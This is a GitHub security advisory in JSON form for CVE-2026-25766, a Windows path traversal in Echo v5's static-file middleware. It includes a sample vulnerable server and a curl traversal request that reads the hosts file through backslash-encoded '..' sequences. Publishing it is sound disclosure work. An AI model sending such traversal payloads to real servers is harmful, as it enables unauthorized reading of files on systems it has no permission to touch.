1 line
3.9 KiB
JSON
1 line
3.9 KiB
JSON
{"schema_version":"1.9.0","id":"GHSA-pgvm-wxw2-hrv9","published":"2026-02-17T18:53:58Z","modified":"2026-02-27T22:07:05Z","aliases":["CVE-2026-25766","GO-2026-4502"],"summary":"Echo has a Windows path traversal via backslash in middleware.Static default filesystem","details":"### Summary\nOn Windows, Echo’s `middleware.Static` using the default filesystem allows path traversal via backslashes, enabling\nunauthenticated remote file read outside the static root.\n\n### Details \n\n In `middleware/static.go`, the requested path is unescaped and normalized with `path.Clean` (URL semantics).\n `path.Clean` does **not** treat `\\` as a path separator, so `..\\` sequences remain in the cleaned path. The resulting\n path is then passed to `currentFS.Open(...)`. When the filesystem is left at the default (nil), Echo uses `defaultFS`\n which calls `os.Open` (`echo.go:792`). On Windows, `os.Open` treats `\\` as a path separator and resolves `..\\`,\n allowing traversal outside the static root.\n\n Relevant code:\n - `middleware/static.go` (path unescape + `path.Clean` + `currentFS.Open`)\n - `echo.go` `defaultFS.Open` → `os.Open`\n\n This is the same class as CVE-2020-36565 (fixed in v4 by switching to OS-aware cleaning), but in v5 the `path.Clean`\n + defaultFS combination reintroduces the Windows backslash traversal.\n\n\n### PoC\n Windows only.\n\n **Sample code (main.go):**\n ```go\n package main\n\n import (\n \"log\"\n \"net/http\"\n\n \"github.com/labstack/echo/v5\"\n \"github.com/labstack/echo/v5/middleware\"\n )\n\n func main() {\n e := echo.New()\n\n // Important: use middleware.Static with default filesystem (nil)\n e.Use(middleware.Static(\"public\"))\n\n e.GET(\"/healthz\", func(c *echo.Context) error {\n return c.String(http.StatusOK, \"ok\")\n })\n\n addr := \":1323\"\n log.Printf(\"listening on %s\", addr)\n if err := e.Start(addr); err != nil && err != http.ErrServerClosed {\n log.Fatal(err)\n }\n }\n ```\n Static file:\n\n public/index.html\n\n (content can be any HTML)\n\n **Run:**\n go run .\n\n **Verify:**\n\n curl http://localhost:1323/index.html\n curl --path-as-is \"http://localhost:1323/..%5c..%5cWindows%5cSystem32%5cdrivers%5cetc%5chosts\"\n Expected: 404 \n\n **Screenshot:**\n<img width=\"884\" height=\"689\" alt=\"image\" src=\"https://github.com/user-attachments/assets/acb14d70-2a43-47c1-8927-2f3da491a853\" />\n<img width=\"1022\" height=\"162\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f2b92aa2-541e-461d-81a2-8a5907d7a447\" />\n\n\n\n ### Impact\n Path traversal leading to arbitrary file read outside the static root. Any unauthenticated remote user can\n read local files that the Echo process has access to on Windows, if `middleware.Static` is used with the default\n filesystem.","affected":[{"package":{"name":"github.com/labstack/echo/v5","ecosystem":"Go","purl":"pkg:golang/github.com/labstack/echo/v5"},"ranges":[{"type":"SEMVER","events":[{"introduced":"5.0.0"},{"fixed":"5.0.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-pgvm-wxw2-hrv9/GHSA-pgvm-wxw2-hrv9.json"}}],"references":[{"type":"WEB","url":"https://github.com/labstack/echo/security/advisories/GHSA-pgvm-wxw2-hrv9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25766"},{"type":"WEB","url":"https://github.com/labstack/echo/pull/2891"},{"type":"WEB","url":"https://github.com/labstack/echo/commit/b1d443086ea27cf51345ec72a71e9b7e9d9ce5f1"},{"type":"PACKAGE","url":"https://github.com/labstack/echo"},{"type":"WEB","url":"https://pkg.go.dev/vuln/GO-2026-4502"}],"database_specific":{"cwe_ids":["CWE-22"],"github_reviewed":true,"github_reviewed_at":"2026-02-17T18:53:58Z","nvd_published_at":"2026-02-19T16:27:15Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"}]} |